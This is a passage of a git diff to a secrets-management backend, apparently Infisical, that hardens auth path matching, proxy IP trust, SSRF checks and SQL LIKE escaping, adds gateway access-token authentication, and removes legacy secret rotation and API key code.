-  AWS_CLOUDWATCH_LOG_ACCESS_KEY_SECRET: z.string().min(1).optional(),
-  AWS_CLOUDWATCH_LOG_INTERVAL: z.coerce.number().default(1000),
-  NODE_ENV: z.enum(["development", "test", "production"]).default("production")
-});
-
 const redactedKeys = [
   "accessToken",
   "authToken",
@@ -81,6 +71,9 @@ const redactedKeys = [
   "encryptedKey",
   "plaintextProjectKey",
   "accessKey",
+  "accessKeyId",
+  "secretAccessKey",
+  "sessionToken",
   "botKey",
   "decryptedSecret",
   "secrets",
@@ -114,7 +107,6 @@ const extractOrgId = () => {
 };
 
 export const initLogger = () => {
-  const cfg = loggerConfig.parse(process.env);
   const targets: pino.TransportMultiOptions["targets"][number][] = [
     {
       level: "info",
@@ -126,21 +118,6 @@ export const initLogger = () => {
     }
   ];
 
-  if (cfg.AWS_CLOUDWATCH_LOG_ACCESS_KEY_ID && cfg.AWS_CLOUDWATCH_LOG_ACCESS_KEY_SECRET) {
-    targets.push({
-      target: "@serdnam/pino-cloudwatch-transport",
-      level: "info",
-      options: {
-        logGroupName: cfg.AWS_CLOUDWATCH_LOG_GROUP_NAME,
-        logStreamName: cfg.AWS_CLOUDWATCH_LOG_GROUP_NAME,
-        awsRegion: cfg.AWS_CLOUDWATCH_LOG_REGION,
-        awsAccessKeyId: cfg.AWS_CLOUDWATCH_LOG_ACCESS_KEY_ID,
-        awsSecretAccessKey: cfg.AWS_CLOUDWATCH_LOG_ACCESS_KEY_SECRET,
-        interval: cfg.AWS_CLOUDWATCH_LOG_INTERVAL
-      }
-    });
-  }
-
   const transport = pino.transport({
     targets
   });
diff --git a/backend/src/lib/request-context/memo-keys.ts b/backend/src/lib/request-context/memo-keys.ts
index 8f6a1300645..17e3680ab3f 100644
--- a/backend/src/lib/request-context/memo-keys.ts
+++ b/backend/src/lib/request-context/memo-keys.ts
@@ -41,5 +41,9 @@ export const requestMemoKeys = {
 
   userFindById: (userId: string) => `user:findById:${userId}`,
 
-  identityFindById: (identityId: string) => `identity:findById:${identityId}`
+  identityFindById: (identityId: string) => `identity:findById:${identityId}`,
+
+  orgFindById: (orgId: string) => `org:findById:${orgId}`,
+
+  orgFindOrgById: (orgId: string) => `org:findOrgById:${orgId}`
 };
diff --git a/backend/src/lib/search-resource/db.ts b/backend/src/lib/search-resource/db.ts
index fc450d9f918..51c0e82c4f5 100644
--- a/backend/src/lib/search-resource/db.ts
+++ b/backend/src/lib/search-resource/db.ts
@@ -1,5 +1,6 @@
 import { Knex } from "knex";
 
+import { sanitizeSqlLikeString } from "../fn";
 import { SearchResourceOperators, TSearchResourceOperator } from "./search";
 
 const buildKnexQuery = (
@@ -65,15 +66,15 @@ const buildKnexQuery = (
       if (typeof value !== "string") throw new Error("Invalid value type for $contains operator");
 
       if (typeof fields === "string") {
-        return void query.whereILike(fields, `%${value}%`);
+        return void query.whereILike(fields, `%${sanitizeSqlLikeString(value)}%`);
       }
 
       return void query.where((qb) => {
         return fields.forEach((el, index) => {
           if (index === 0) {
-            return void qb.whereILike(el, `%${value}%`);
+            return void qb.whereILike(el, `%${sanitizeSqlLikeString(value)}%`);
           }
-          return void qb.orWhereILike(el, `%${value}%`);
+          return void qb.orWhereILike(el, `%${sanitizeSqlLikeString(value)}%`);
         });
       });
     }
diff --git a/backend/src/lib/validator/validate-url.ts b/backend/src/lib/validator/validate-url.ts
index b96d1bfe4df..d7127de1d73 100644
--- a/backend/src/lib/validator/validate-url.ts
+++ b/backend/src/lib/validator/validate-url.ts
@@ -1,6 +1,6 @@
 import dns from "node:dns/promises";
 
-import { isIPv4 } from "net";
+import { isIP } from "net";
 import RE2 from "re2";
 
 import { verifyHostInputValidity } from "@app/ee/services/dynamic-secret/dynamic-secret-fns";
@@ -22,28 +22,19 @@ export const blockLocalAndPrivateIpAddresses = async (url: string, isGateway = f
   }
 
   const inputHostIps: string[] = [];
-  if (isIPv4(validUrl.hostname)) {
+  if (isIP(validUrl.hostname)) {
     inputHostIps.push(validUrl.hostname);
   } else {
     if (validUrl.hostname === "localhost" || validUrl.hostname === "host.docker.internal") {
       throw new BadRequestError({ message: "Local IPs not allowed as URL" });
     }
-    try {
-      const resolvedIps = await dns.resolve4(validUrl.hostname);
-      inputHostIps.push(...resolvedIps);
-    } catch (err) {
-      if ((err as { code: string })?.code !== "ENOTFOUND") throw err;
+    const entries = await dns.lookup(validUrl.hostname, { all: true });
 
-      const entries = await dns.lookup(validUrl.hostname, { all: true, family: 4 });
-
-      if (!entries || entries.length === 0) {
-        throw new BadRequestError({ message: "Could not resolve hostname to any IPv4 address" });
-      }
-
-      const resolvedIps = entries.map(({ address }) => address);
-
-      inputHostIps.push(...resolvedIps);
+    if (!entries || entries.length === 0) {
+      throw new BadRequestError({ message: "Could not resolve hostname to any IP address" });
     }
+
+    inputHostIps.push(...entries.map(({ address }) => address));
   }
   const isInternalIp = inputHostIps.some((el) => isPrivateIp(el));
   if (isInternalIp && !appCfg.ALLOW_INTERNAL_IP_CONNECTIONS)
diff --git a/backend/src/lib/workflow-integrations/trigger-notification.ts b/backend/src/lib/workflow-integrations/trigger-notification.ts
index 2dc6f61fe93..4e28ea5b9d9 100644
--- a/backend/src/lib/workflow-integrations/trigger-notification.ts
+++ b/backend/src/lib/workflow-integrations/trigger-notification.ts
@@ -1,4 +1,6 @@
 import { logger } from "../logger";
+import { requestMemoKeys } from "../request-context/memo-keys";
+import { requestMemoize } from "../request-context/request-memoizer";
 import { triggerMicrosoftTeamsNotification } from "./notification-handlers/microsoft-teams";
 import { triggerSlackNotification } from "./notification-handlers/slack";
 import { TTriggerWorkflowNotificationDTO } from "./types";
@@ -9,7 +11,9 @@ export const triggerWorkflowIntegrationNotification = async (dto: TTriggerWorkfl
     const { projectDAL, projectSlackConfigDAL, kmsService, projectMicrosoftTeamsConfigDAL, microsoftTeamsService } =
       dto.dependencies;
 
-    const project = await projectDAL.findById(projectId);
+    const project = await requestMemoize(requestMemoKeys.projectFindById(projectId), () =>
+      projectDAL.findById(projectId)
+    );
 
     if (!project) {
       return;
diff --git a/backend/src/queue/queue-service.ts b/backend/src/queue/queue-service.ts
index 50eb951dcc5..784c41f5dc0 100644
--- a/backend/src/queue/queue-service.ts
+++ b/backend/src/queue/queue-service.ts
@@ -54,7 +54,6 @@ import { TWebhookPayloads } from "@app/services/webhook/webhook-types";
 export const JOB_SCHEDULER_PREFIX = "jsv1";
 
 export enum QueueName {
-  SecretRotation = "secret-rotation",
   SecretReminder = "secret-reminder",
   AuditLog = "audit-log",
   // TODO(akhilmhdh): This will get removed later. For now this is kept to stop the repeatable queue
@@ -105,12 +104,12 @@ export enum QueueName {
   AuditLogClickHouseBatch = "audit-log-clickhouse-batch",
   PamDiscoveryScan = "pam-discovery-scan",
   CaAutoRenewal = "ca-auto-renewal",
-  CertificateCleanup = "certificate-cleanup"
+  CertificateCleanup = "certificate-cleanup",
+  DigiCertOrderPolling = "digicert-order-polling"
 }
 
 export enum QueueJobs {
   SecretReminder = "secret-reminder-job",
-  SecretRotation = "secret-rotation-job",
   AuditLog = "audit-log-job",
   // TODO(akhilmhdh): This will get removed later. For now this is kept to stop the repeatable queue
   AuditLogPrune = "audit-log-prune-job",
@@ -177,7 +176,8 @@ export enum QueueJobs {
   CaVenafiInstall = "ca-venafi-install-job",
   CaAdcsInstall = "ca-adcs-install-job",
   CertificateCleanup = "certificate-cleanup-job",
-  DailySecretSyncRetry = "daily-secret-sync-retry-job"
+  DailySecretSyncRetry = "daily-secret-sync-retry-job",
+  DigiCertOrderPolling = "digicert-order-polling-job"
 }
 
 export type TQueueOptions = {
@@ -211,10 +211,6 @@ export type TQueueJobTypes = {
     };
     name: QueueJobs.SecretReminder;
   };
-  [QueueName.SecretRotation]: {
-    payload: { rotationId: string };
-    name: QueueJobs.SecretRotation;
-  };
   [QueueName.AuditLog]: {
     name: QueueJobs.AuditLog;
     payload: TCreateAuditLogDTO;
@@ -551,6 +547,10 @@ export type TQueueJobTypes = {
     name: QueueJobs.CertificateCleanup;
     payload: undefined;
   };
+  [QueueName.DigiCertOrderPolling]: {
+    name: QueueJobs.DigiCertOrderPolling;
+    payload: undefined;
+  };
 };
 
 const SECRET_SCANNING_QUEUES = [
@@ -649,7 +649,7 @@ export const queueServiceFactory = (redisCfg: TRedisConfigKeys): TQueueServiceFa
 
   // Remove orphaned job schedulers left in Redis by the QueueInternalRecovery/QueueInternalReconciliation deleted queues.
   void (async () => {
-    const staleQueueNames = ["queue-internal-recovery", "queue-internal-reconciliation"];
+    const staleQueueNames = ["queue-internal-recovery", "queue-internal-reconciliation", "secret-rotation"];
     await Promise.allSettled(
       staleQueueNames.map(async (name) => {
         const staleQueue = new Queue(name, {
diff --git a/backend/src/server/app.ts b/backend/src/server/app.ts
index 53095cefcfd..6ff780af65d 100644
--- a/backend/src/server/app.ts
+++ b/backend/src/server/app.ts
@@ -75,7 +75,9 @@ export const main = async ({
   const server = fastify({
     logger: appCfg.NODE_ENV === "test" ? false : logger,
     genReqId: () => `req-${alphaNumericNanoId(14)}`,
-    trustProxy: true,
+    // When TRUSTED_PROXY_CIDRS is configured, only requests from those sources have their
+    // forwarded-IP headers honored. Unset preserves legacy behavior (trust all) for backcompat.
+    trustProxy: appCfg.TRUSTED_PROXY_CIDRS ?? true,
 
     connectionTimeout: 100_000,
     ignoreTrailingSlash: true,
diff --git a/backend/src/server/plugins/audit-log.ts b/backend/src/server/plugins/audit-log.ts
index d0198e7bf0a..725f8b5ca5f 100644
--- a/backend/src/server/plugins/audit-log.ts
+++ b/backend/src/server/plugins/audit-log.ts
@@ -50,10 +50,12 @@ export const injectAuditLogInfo = fp(async (server: FastifyZodProvider) => {
       req.auditLogInfo = payload;
       return;
     }
+
     if (req.auth.actor === ActorType.USER) {
       payload.actor = {
         type: ActorType.USER,
         metadata: {
+          ...(req.auth.authMethod ? { authMethod: req.auth.authMethod } : {}),
           email: req.auth.user.email,
           username: req.auth.user.username,
           userId: req.permission.id
@@ -75,6 +77,7 @@ export const injectAuditLogInfo = fp(async (server: FastifyZodProvider) => {
         metadata: {
           name: req.auth.identityName,
           identityId: req.auth.identityId,
+          ...(identityAuthInfo?.authMethod ? { authMethod: identityAuthInfo.authMethod } : {}),
           ...(identityAuthInfo?.aws ? { aws: identityAuthInfo.aws } : {}),
           ...(identityAuthInfo?.kubernetes ? { kubernetes: identityAuthInfo.kubernetes } : {}),
           ...(identityAuthInfo?.oidc ? { oidc: identityAuthInfo.oidc } : {})
@@ -85,6 +88,13 @@ export const injectAuditLogInfo = fp(async (server: FastifyZodProvider) => {
         type: ActorType.SCIM_CLIENT,
         metadata: {}
       };
+    } else if (req.auth.actor === ActorType.GATEWAY) {
+      payload.actor = {
+        type: ActorType.GATEWAY,
+        metadata: {
+          gatewayId: req.permission.id
+        }
+      };
     } else {
       throw new BadRequestError({ message: "Invalid actor type provided" });
     }
diff --git a/backend/src/server/plugins/auth/inject-assume-privilege.ts b/backend/src/server/plugins/auth/inject-assume-privilege.ts
index 46c6ea8e3c0..f22d2ab5643 100644
--- a/backend/src/server/plugins/auth/inject-assume-privilege.ts
+++ b/backend/src/server/plugins/auth/inject-assume-privilege.ts
@@ -9,9 +9,11 @@ export const injectAssumePrivilege = fp(async (server: FastifyZodProvider) => {
     const assumeRoleCookie = req.cookies["infisical-project-assume-privileges"];
     try {
       if (req?.auth?.authMode === AuthMode.JWT && assumeRoleCookie) {
-        const decodedToken = server.services.assumePrivileges.verifyAssumePrivilegeToken(
+        const decodedToken = await server.services.assumePrivileges.verifyAssumePrivilegeToken(
           assumeRoleCookie,
-          req.auth.tokenVersionId
+          req.auth.tokenVersionId,
+          req.auth.authMethod,
+          req.auth.orgId
         );
         if (decodedToken) {
           requestContext.set(RequestContextKey.AssumedPrivilegeDetails, decodedToken);
diff --git a/backend/src/server/plugins/auth/inject-identity.ts b/backend/src/server/plugins/auth/inject-identity.ts
index 857f9418136..378a23ea181 100644
--- a/backend/src/server/plugins/auth/inject-identity.ts
+++ b/backend/src/server/plugins/auth/inject-identity.ts
@@ -7,7 +7,7 @@ import { TServiceTokens, TUsers } from "@app/db/schemas";
 import { TScimTokenJwtPayload } from "@app/ee/services/scim/scim-types";
 import { getConfig } from "@app/lib/config/env";
 import { crypto } from "@app/lib/crypto";
-import { BadRequestError } from "@app/lib/errors";
+import { BadRequestError, UnauthorizedError } from "@app/lib/errors";
 import { RequestContextKey } from "@app/lib/request-context/request-context-keys";
 import {
   ActorType,
@@ -15,7 +15,8 @@ import {
   AuthMode,
   AuthModeJwtTokenPayload,
   AuthTokenType,
-  MfaMethod
+  MfaMethod,
+  TGatewayAccessTokenJwtPayload
 } from "@app/services/auth/auth-type";
 import { TIdentityAccessTokenJwtPayload } from "@app/services/identity-access-token/identity-access-token-types";
 import { getServerCfg } from "@app/services/super-admin/super-admin-service";
@@ -77,6 +78,16 @@ export type TAuthMode =
       rootOrgId: string;
       parentOrgId: string;
       authMethod: null;
+    }
+  | {
+      authMode: AuthMode.GATEWAY_ACCESS_TOKEN;
+      actor: ActorType.GATEWAY;
+      gatewayId: string;
+      orgId: string;
+      rootOrgId: string;
+      parentOrgId: string;
+      authMethod: null;
+      token: TGatewayAccessTokenJwtPayload;
     };
 
 export const extractAuth = async (req: FastifyRequest, jwtSecret: string) => {
@@ -129,6 +140,12 @@ export const extractAuth = async (req: FastifyRequest, jwtSecret: string) => {
         token: decodedToken as TScimTokenJwtPayload,
         actor: ActorType.SCIM_CLIENT
       } as const;
+    case AuthTokenType.GATEWAY_ACCESS_TOKEN:
+      return {
+        authMode: AuthMode.GATEWAY_ACCESS_TOKEN,
+        token: decodedToken as TGatewayAccessTokenJwtPayload,
+        actor: ActorType.GATEWAY
+      } as const;
     default:
       return { authMode: null, token: null } as const;
   }
@@ -159,30 +176,42 @@ export const injectIdentity = fp(
         return;
       }
 
+      // Match against the pathname only — req.url includes the query string, which a
+      // client can use to smuggle matching substrings and skip auth injection.
+      const pathname = req.url.split("?", 1)[0];
+
       if (
-        req.url.includes(".well-known/est") ||
-        req.url.includes("/scep/") ||
-        (req.url.includes("/api/v3/auth/") && !req.url.includes("/api/v3/auth/select-organization"))
+        pathname.startsWith("/.well-known/est") ||
+        (pathname.startsWith("/api/v3/auth/") && !pathname.startsWith("/api/v3/auth/select-organization"))
       ) {
         return;
       }
 
-      if (req.url === "/api/v1/ai/mcp/servers/oauth/callback") {
+      if (pathname.includes("/scep/") && pathname.includes("pkiclient.exe")) {
+        return;
+      }
+
+      if (pathname === "/api/v1/ai/mcp/servers/oauth/callback") {
         return;
       }
 
       // Authentication is handled on a route-level
-      if (req.url === "/api/v1/relays/register-instance-relay") {
+      if (pathname === "/api/v1/relays/register-instance-relay") {
+        return;
+      }
+
+      // Authentication is handled on a route-level (enrollment token in body)
+      if (pathname === "/api/v3/gateways/token-auth/enroll") {
         return;
       }
 
       // Authentication is handled on a route-level
-      if (req.url === "/api/v1/relays/heartbeat-instance-relay") {
+      if (pathname === "/api/v1/relays/heartbeat-instance-relay") {
         return;
       }
 
       // Authentication is handled on a route-level here.
-      if (req.url.includes("/api/v1/workflow-integrations/microsoft-teams/message-endpoint")) {
+      if (pathname.startsWith("/api/v1/workflow-integrations/microsoft-teams/message-endpoint")) {
         return;
       }
 
@@ -321,6 +350,27 @@ export const injectIdentity = fp(
           };
           break;
         }
+        case AuthMode.GATEWAY_ACCESS_TOKEN: {
+          const gateway = await server.services.gatewayV2.getGatewayById({ gatewayId: token.gatewayId });
+
+          if (gateway.tokenVersion !== token.tokenVersion) {
+            throw new UnauthorizedError({ message: "Gateway token has been revoked" });
+          }
+
+          requestContext.set(RequestContextKey.OrgId, token.orgId);
+
+          req.auth = {
+            authMode: AuthMode.GATEWAY_ACCESS_TOKEN,
+            actor,
+            gatewayId: token.gatewayId,
+            orgId: token.orgId,
+            rootOrgId: token.orgId,
+            parentOrgId: token.orgId,
+            authMethod: null,
+            token
+          };
+          break;
+        }
         default:
           throw new BadRequestError({ message: "Invalid token strategy provided" });
       }
diff --git a/backend/src/server/plugins/auth/inject-permission.ts b/backend/src/server/plugins/auth/inject-permission.ts
index 827a055d3cb..b19f7cd97ab 100644
--- a/backend/src/server/plugins/auth/inject-permission.ts
+++ b/backend/src/server/plugins/auth/inject-permission.ts
@@ -61,6 +61,19 @@ export const injectPermission = fp(async (server) => {
       logger.info(
         `injectPermission: Injecting permissions for [permissionsForIdentity=${req.auth.scimTokenId}] [type=${ActorType.SCIM_CLIENT}]`
       );
+    } else if (req.auth.actor === ActorType.GATEWAY) {
+      req.permission = {
+        type: ActorType.GATEWAY,
+        id: req.auth.gatewayId,
+        orgId: req.auth.orgId,
+        rootOrgId: req.auth.rootOrgId,
+        parentOrgId: req.auth.parentOrgId,
+        authMethod: null
+      };
+
+      logger.info(
+        `injectPermission: Injecting permissions for [permissionsForGateway=${req.auth.gatewayId}] [type=${ActorType.GATEWAY}]`
+      );
     }
   });
 });
diff --git a/backend/src/server/plugins/ip.ts b/backend/src/server/plugins/ip.ts
index 7b5838d57b1..4096bb8eb9c 100644
--- a/backend/src/server/plugins/ip.ts
+++ b/backend/src/server/plugins/ip.ts
@@ -1,5 +1,7 @@
 import fp from "fastify-plugin";
 
+import { getConfig } from "@app/lib/config/env";
+
 /*! https://github.com/pbojinov/request-ip/blob/9501cdf6e73059cc70fc6890adb086348d7cca46/src/index.js.
   MIT License. 2022 Petar Bojinov - petarbojinov+github@gmail.com */
 const headersOrder = [
@@ -20,7 +22,18 @@ const headersOrder = [
 
 export const fastifyIp = fp(async (fastify) => {
   fastify.decorateRequest("realIp", null);
+  const { TRUSTED_PROXY_CIDRS } = getConfig();
   fastify.addHook("onRequest", async (req) => {
+    // Strict mode: TRUSTED_PROXY_CIDRS configured → delegate to Fastify's proxy-addr-backed
+    // req.ip, which validates the socket source against the trusted CIDR list and parses
+    // X-Forwarded-For right-to-left, discarding attacker-supplied values.
+    if (TRUSTED_PROXY_CIDRS) {
+      req.realIp = req.ip;
+      return;
+    }
+
+    // Legacy mode: first-matching-header wins. Preserved for backwards compatibility
+    // with self-hosted deployments that haven't configured a trusted proxy list.
     const forwardedIpHeader = headersOrder.find((header) => Boolean(req.headers[header]));
     const forwardedIp = forwardedIpHeader ? req.headers[forwardedIpHeader] : undefined;
     if (forwardedIp) {
diff --git a/backend/src/server/routes/index.ts b/backend/src/server/routes/index.ts
index 00abff4c158..053908a5c16 100644
--- a/backend/src/server/routes/index.ts
+++ b/backend/src/server/routes/index.ts
@@ -14,6 +14,7 @@ import { registerCertificateEstRouter } from "@app/ee/routes/est/certificate-est
 import { registerPkiScepRouter } from "@app/ee/routes/scep/pki-scep-router";
 import { registerV1EERoutes } from "@app/ee/routes/v1";
 import { registerV2EERoutes } from "@app/ee/routes/v2";
+import { registerV3EERoutes } from "@app/ee/routes/v3";
 import {
   accessApprovalPolicyApproverDALFactory,
   accessApprovalPolicyBypasserDALFactory
@@ -58,6 +59,10 @@ import { externalKmsServiceFactory } from "@app/ee/services/external-kms/externa
 import { gatewayDALFactory } from "@app/ee/services/gateway/gateway-dal";
 import { gatewayServiceFactory } from "@app/ee/services/gateway/gateway-service";
 import { orgGatewayConfigDALFactory } from "@app/ee/services/gateway/org-gateway-config-dal";
+import { gatewayPoolDalFactory } from "@app/ee/services/gateway-pool/gateway-pool-dal";
+import { gatewayPoolMembershipDalFactory } from "@app/ee/services/gateway-pool/gateway-pool-membership-dal";
+import { gatewayPoolServiceFactory } from "@app/ee/services/gateway-pool/gateway-pool-service";
+import { gatewayEnrollmentTokenDALFactory } from "@app/ee/services/gateway-v2/gateway-enrollment-token-dal";
 import { gatewayV2DalFactory } from "@app/ee/services/gateway-v2/gateway-v2-dal";
 import { gatewayV2ServiceFactory } from "@app/ee/services/gateway-v2/gateway-v2-service";
 import { orgGatewayConfigV2DalFactory } from "@app/ee/services/gateway-v2/org-gateway-config-v2-dal";
@@ -71,6 +76,7 @@ import { isHsmActiveAndEnabled } from "@app/ee/services/hsm/hsm-fns";
 import { THsmServiceFactory } from "@app/ee/services/hsm/hsm-service";
 import { identityAuthTemplateDALFactory } from "@app/ee/services/identity-auth-template/identity-auth-template-dal";
 import { identityAuthTemplateServiceFactory } from "@app/ee/services/identity-auth-template/identity-auth-template-service";
+import { insightsServiceFactory } from "@app/ee/services/insights/insights-service";
 import { kmipClientCertificateDALFactory } from "@app/ee/services/kmip/kmip-client-certificate-dal";
 import { kmipClientDALFactory } from "@app/ee/services/kmip/kmip-client-dal";
 import { kmipOperationServiceFactory } from "@app/ee/services/kmip/kmip-operation-service";
@@ -96,6 +102,8 @@ import { pamDiscoverySourceDependenciesDALFactory } from "@app/ee/services/pam-d
 import { pamDiscoverySourceResourcesDALFactory } from "@app/ee/services/pam-discovery/pam-discovery-source-resources-dal";
 import { pamDiscoveryRunDALFactory } from "@app/ee/services/pam-discovery/pam-discovery-source-run-dal";
 import { pamDiscoverySourceServiceFactory } from "@app/ee/services/pam-discovery/pam-discovery-source-service";
+import { pamDomainDALFactory } from "@app/ee/services/pam-domain/pam-domain-dal";
+import { pamDomainServiceFactory } from "@app/ee/services/pam-domain/pam-domain-service";
 import { pamFolderDALFactory } from "@app/ee/services/pam-folder/pam-folder-dal";
 import { pamFolderServiceFactory } from "@app/ee/services/pam-folder/pam-folder-service";
 import { pamResourceDALFactory } from "@app/ee/services/pam-resource/pam-resource-dal";
@@ -127,6 +135,7 @@ import { pkiDiscoveryQueueFactory } from "@app/ee/services/pki-discovery/pki-dis
 import { pkiDiscoveryScanHistoryDALFactory } from "@app/ee/services/pki-discovery/pki-discovery-scan-history-dal";
 import { pkiDiscoveryServiceFactory } from "@app/ee/services/pki-discovery/pki-discovery-service";
 import { pkiInstallationServiceFactory } from "@app/ee/services/pki-discovery/pki-installation-service";
+import { scepDynamicChallengeDALFactory } from "@app/ee/services/pki-scep/pki-scep-dynamic-challenge-dal";
 import { pkiScepServiceFactory } from "@app/ee/services/pki-scep/pki-scep-service";
 import { scepTransactionDALFactory } from "@app/ee/services/pki-scep/pki-scep-transaction-dal";
 import { projectEventsServiceFactory } from "@app/ee/services/project-events/project-events-service";
@@ -159,9 +168,6 @@ import { secretApprovalRequestReviewerDALFactory } from "@app/ee/services/secret
 import { secretApprovalRequestSecretDALFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-secret-dal";
 import { secretApprovalRequestServiceFactory } from "@app/ee/services/secret-approval-request/secret-approval-request-service";
 import { secretReplicationServiceFactory } from "@app/ee/services/secret-replication/secret-replication-service";
-import { secretRotationDALFactory } from "@app/ee/services/secret-rotation/secret-rotation-dal";
-import { secretRotationQueueFactory } from "@app/ee/services/secret-rotation/secret-rotation-queue";
-import { secretRotationServiceFactory } from "@app/ee/services/secret-rotation/secret-rotation-service";
 import { secretRotationV2DALFactory } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-dal";
 import { secretRotationV2QueueServiceFactory } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-queue";
 import { secretRotationV2ServiceFactory } from "@app/ee/services/secret-rotation-v2/secret-rotation-v2-service";
@@ -208,8 +214,6 @@ import { accessTokenQueueServiceFactory } from "@app/services/access-token-queue
 import { accountRecoveryServiceFactory } from "@app/services/account-recovery/account-recovery-service";
 import { additionalPrivilegeDALFactory } from "@app/services/additional-privilege/additional-privilege-dal";
 import { additionalPrivilegeServiceFactory } from "@app/services/additional-privilege/additional-privilege-service";
-import { apiKeyDALFactory } from "@app/services/api-key/api-key-dal";
-import { apiKeyServiceFactory } from "@app/services/api-key/api-key-service";
 import { appConnectionDALFactory } from "@app/services/app-connection/app-connection-dal";
 import { appConnectionServiceFactory } from "@app/services/app-connection/app-connection-service";
 import {
@@ -249,6 +253,8 @@ import { certificateAuthorityQueueFactory } from "@app/services/certificate-auth
 import { certificateAuthoritySecretDALFactory } from "@app/services/certificate-authority/certificate-authority-secret-dal";
 import { certificateAuthorityServiceFactory } from "@app/services/certificate-authority/certificate-authority-service";
 import { certificateIssuanceQueueFactory } from "@app/services/certificate-authority/certificate-issuance-queue";
+import { DigiCertCertificateAuthorityFns } from "@app/services/certificate-authority/digicert/digicert-certificate-authority-fns";
+import { digicertCertificateAuthorityQueueServiceFactory } from "@app/services/certificate-authority/digicert/digicert-certificate-authority-queue";
 import { externalCertificateAuthorityDALFactory } from "@app/services/certificate-authority/external-certificate-authority-dal";
 import { internalCertificateAuthorityDALFactory } from "@app/services/certificate-authority/internal/internal-certificate-authority-dal";
 import { InternalCertificateAuthorityFns } from "@app/services/certificate-authority/internal/internal-certificate-authority-fns";
@@ -257,6 +263,8 @@ import { certificateCleanupConfigDALFactory } from "@app/services/certificate-cl
 import { certificateCleanupQueueFactory } from "@app/services/certificate-cleanup/certificate-cleanup-queue";
 import { certificateCleanupServiceFactory } from "@app/services/certificate-cleanup/certificate-cleanup-service";
 import { certificateEstV3ServiceFactory } from "@app/services/certificate-est-v3/certificate-est-v3-service";
+import { certificateInventoryViewDALFactory } from "@app/services/certificate-inventory-view/certificate-inventory-view-dal";
+import { certificateInventoryViewServiceFactory } from "@app/services/certificate-inventory-view/certificate-inventory-view-service";
 import { certificatePolicyDALFactory } from "@app/services/certificate-policy/certificate-policy-dal";
 import { certificatePolicyServiceFactory } from "@app/services/certificate-policy/certificate-policy-service";
 import { certificateProfileDALFactory } from "@app/services/certificate-profile/certificate-profile-dal";
@@ -278,9 +286,9 @@ import { estEnrollmentConfigDALFactory } from "@app/services/enrollment-config/e
 import { scepEnrollmentConfigDALFactory } from "@app/services/enrollment-config/scep-enrollment-config-dal";
 import { externalGroupOrgRoleMappingDALFactory } from "@app/services/external-group-org-role-mapping/external-group-org-role-mapping-dal";
 import { externalGroupOrgRoleMappingServiceFactory } from "@app/services/external-group-org-role-mapping/external-group-org-role-mapping-service";
+import { externalMigrationConfigDALFactory } from "@app/services/external-migration/external-migration-config-dal";
 import { externalMigrationQueueFactory } from "@app/services/external-migration/external-migration-queue";
 import { externalMigrationServiceFactory } from "@app/services/external-migration/external-migration-service";
-import { vaultExternalMigrationConfigDALFactory } from "@app/services/external-migration/vault-external-migration-config-dal";
 import { folderCheckpointDALFactory } from "@app/services/folder-checkpoint/folder-checkpoint-dal";
 import { folderCheckpointResourcesDALFactory } from "@app/services/folder-checkpoint-resources/folder-checkpoint-resources-dal";
 import { folderCommitDALFactory } from "@app/services/folder-commit/folder-commit-dal";
@@ -444,7 +452,6 @@ import { telemetryQueueServiceFactory } from "@app/services/telemetry/telemetry-
 import { telemetryServiceFactory } from "@app/services/telemetry/telemetry-service";
 import { totpConfigDALFactory } from "@app/services/totp/totp-config-dal";
 import { totpServiceFactory } from "@app/services/totp/totp-service";
-import { upgradePathServiceFactory } from "@app/services/upgrade-path/upgrade-path-service";
 import { userDALFactory } from "@app/services/user/user-dal";
 import { userServiceFactory } from "@app/services/user/user-service";
 import { userAliasDALFactory } from "@app/services/user-alias/user-alias-dal";
@@ -511,7 +518,6 @@ export const registerRoutes = async (
   const orgMembershipDAL = orgMembershipDALFactory(db);
   const incidentContactDAL = incidentContactDALFactory(db);
   const rateLimitDAL = rateLimitDALFactory(db);
-  const apiKeyDAL = apiKeyDALFactory(db);
 
   const projectDAL = projectDALFactory(db);
   const projectSshConfigDAL = projectSshConfigDALFactory(db);
@@ -599,7 +605,6 @@ export const registerRoutes = async (
   const secretApprovalRequestReviewerDAL = secretApprovalRequestReviewerDALFactory(db);
   const secretApprovalRequestSecretDAL = secretApprovalRequestSecretDALFactory(db);
 
-  const secretRotationDAL = secretRotationDALFactory(db);
   const snapshotDAL = snapshotDALFactory(db);
   const snapshotSecretDAL = snapshotSecretDALFactory(db);
   const snapshotSecretV2BridgeDAL = snapshotSecretV2DALFactory(db);
@@ -675,7 +680,7 @@ export const registerRoutes = async (
 
   const appConnectionCredentialRotationDAL = appConnectionCredentialRotationDALFactory(db);
 
-  const vaultExternalMigrationConfigDAL = vaultExternalMigrationConfigDALFactory(db);
+  const externalMigrationConfigDAL = externalMigrationConfigDALFactory(db);
 
   // New event bus for inter-container communication
   const eventBusService = eventBusServiceFactory({ redis: server.redis });
@@ -694,7 +699,6 @@ export const registerRoutes = async (
   });
 
   const assumePrivilegeService = assumePrivilegeServiceFactory({
-    projectDAL,
     permissionService
   });
 
@@ -874,7 +878,6 @@ export const registerRoutes = async (
   });
   const groupProjectService = groupProjectServiceFactory({
     groupDAL,
-    projectDAL,
     permissionService
   });
 
@@ -977,12 +980,11 @@ export const registerRoutes = async (
     membershipUserDAL
   });
 
-  const upgradePathService = upgradePathServiceFactory({ keyStore });
-
   const totpService = totpServiceFactory({
     totpConfigDAL,
     userDAL,
-    kmsService
+    kmsService,
+    keyStore
   });
 
   const webAuthnService = webAuthnServiceFactory({
@@ -1177,7 +1179,6 @@ export const registerRoutes = async (
     rateLimitDAL,
     licenseService
   });
-  const apiKeyService = apiKeyServiceFactory({ apiKeyDAL, userDAL });
 
   const secretScanningQueue = secretScanningQueueFactory({
     telemetryService,
@@ -1256,12 +1257,14 @@ export const registerRoutes = async (
   const acmeEnrollmentConfigDAL = acmeEnrollmentConfigDALFactory(db);
   const scepEnrollmentConfigDAL = scepEnrollmentConfigDALFactory(db);
   const scepTransactionDAL = scepTransactionDALFactory(db);
+  const scepDynamicChallengeDAL = scepDynamicChallengeDALFactory(db);
   const acmeAccountDAL = pkiAcmeAccountDALFactory(db);
   const acmeOrderDAL = pkiAcmeOrderDALFactory(db);
   const acmeAuthDAL = pkiAcmeAuthDALFactory(db);
   const acmeOrderAuthDAL = pkiAcmeOrderAuthDALFactory(db);
   const acmeChallengeDAL = pkiAcmeChallengeDALFactory(db);
   const certificateCleanupConfigDAL = certificateCleanupConfigDALFactory(db);
